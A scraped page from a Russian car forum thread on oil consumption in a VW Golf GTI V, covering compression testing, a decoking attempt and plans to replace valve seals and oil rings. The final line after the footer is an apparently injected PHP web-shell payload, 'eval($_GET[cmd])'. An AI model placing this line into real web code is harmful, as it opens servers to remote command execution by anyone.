+ Ответить в теме
Страница 7 из 7 ПерваяПервая ... 5 6 7
Показано с 61 по 63 из 63

Тема: Говорят маслосъемные...


  1. #61
    GTI-Racing Amaran will become famous soon enough Amaran will become famous soon enough Аватар для Amaran
    Регистрация
    02.02.2009
    Откуда
    Москва
    Машина
    VAG
    Сообщений
    322

    Smile

    Цитата Сообщение от BuK@ Посмотреть сообщение
    Подошла замена масла и решил пройти раскоксовку.
    Померял компрессию на теплой 10-10-10-10.
    Выставил поршни в среднее положение.
    Залил Лавр в цилиндры, закрыл свечами и подождал пару часов (раз в 15-20мин шевелил немного поршни).
    Прошла пара часов (за это время поменял перепускной клапан турбины на нового образца. Как не странно мембрана старого была целой).
    Закрыл колодцы тряпкой, помаслал стартером, жижа вылетела только из одного цилиндра).
    Дал поработать минут 5, погазовал немного.
    Замерял компрессию 10-10-10-10.
    На чудо особо не надеялся, но его и не произошло.
    Что дальше делать? Ваши мысли, господа?
    А можно поподробнее, как мерили компрессию?)
    P.S. И вообще смотрю все подобные темы умирают. Все тупо избавляются от машин?))))

  2. #62
    GTI-Racing BuK@ is on a distinguished road Аватар для BuK@
    Регистрация
    01.09.2012
    Откуда
    Minsk
    Машина
    GOLF GTI V (BPY)
    Сообщений
    50
    Цитата Сообщение от Amaran Посмотреть сообщение
    А можно поподробнее, как мерили компрессию?)
    P.S. И вообще смотрю все подобные темы умирают. Все тупо избавляются от машин?))))
    Да все просто - выкрутил свечу, вкрутил компрессометр, нажал тапку газа в пол и покрутил стартером 3-5сек (повторил 3 раза) и так на всех цилиндрах.

    Машину пока продавать не хочется, жалко, веселенькая она. Но пока остановился на месте, просто доливаю масло )))
    В планах поднять голову и поменять маслосъемные колпачки (судя по форумам 90% засада будет в них).
    Но опять же судя по форумам, этим дело не решится т.к. будут в аццком нагаре маслосъемные кольца и клапана и скорее всего будут требовать замены втулки клапанов.
    Опять же из инфы с форумов - чистка маслосъемных колец решит проблему не на долго т.к. был конструктивный просчет и кольца несколько раз меняли на другую ревизию. Следовательно кольца тоже нужно менять ( вот конкретного номера последней замены пока не знаю ).
    Так, что из того что насобирал, требуется комплексный подход к решению вопроса жора масла.
    По деньгам вроде и не сильно дорого получается, грубо прикинул, и у меня вышло 1000$ или даже меньше ( тут уж вскрытие покажет).
    Гуру ( кто реально пересыпал движки), если где ошибаюсь поправьте или посоветуйте еще на что обратить внимание.
    И очень буду благодарен за номера "правильных" маслосъемных колец в замен стоковых.

  3. #63
    GTI-Racing BuK@ is on a distinguished road Аватар для BuK@
    Регистрация
    01.09.2012
    Откуда
    Minsk
    Машина
    GOLF GTI V (BPY)
    Сообщений
    50
    По кольцам как то не до конца понятно, но вроде выбор пал на MAHLE 03319N0. Кто, что может про них сказать, можно ставить или посмотреть в строну каких других?

+ Ответить в теме
Страница 7 из 7 ПерваяПервая ... 5 6 7

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}